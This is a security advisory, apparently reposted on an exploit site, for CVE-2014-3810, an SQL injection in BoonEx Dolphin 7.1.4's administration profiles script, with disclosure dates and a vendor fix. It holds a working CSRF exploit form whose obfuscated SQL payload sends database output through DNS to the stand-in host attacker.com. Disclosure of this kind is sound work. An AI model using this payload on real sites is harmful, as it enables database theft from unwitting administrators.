Dolphin 7.1.4 SQL Injection Vulnerability

Product: Dolphin
Vendor: BoonEx
Vulnerable Version(s): 7.1.4 and probably prior
Tested Version: 7.1.4
Advisory Publication:  May 21, 2014  [without technical details]
Vendor Notification: May 21, 2014 
Vendor Patch: June 17, 2014 
Public Disclosure: June 18, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-3810
Risk Level: Medium 
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to perform SQL injection attacks and obtain sensitive information from the application database. 


1) SQL Injection in Dolphin: CVE-2014-3810

The vulnerability exists due to insufficient sanitization of "members" HTTP POST parameter passed to "/administration/profiles.php" script. A remote authenticated administrator can send a specially crafted HTTP POST request to vulnerable script and execute arbitrary SQL commands in application’s database. 

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with CSRF exploit.

The CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):


<form action="http://[host]/administration/profiles.php" method="post" name="main">
<input type="hidden" name="adm-mp-members-ctl-type" value="qlinks">
<input type="hidden" name="adm-mp-members-view-type" value="simple">
<input type="hidden" name="order_by" value="">
<input type="hidden" name="per_page" value="50">
<input type="hidden" name="members[]" value="') AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="adm-mp-activate" value="Activate">
<input type="submit" id="btn">
</form>


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Solution:

Apply vendor's instructions:
http://www.boonex.com/forums/topic/Medium-Risk-Security-Vulnerability-in-Dolphin-7-1.htm

#  0day.today [2018-04-08]  #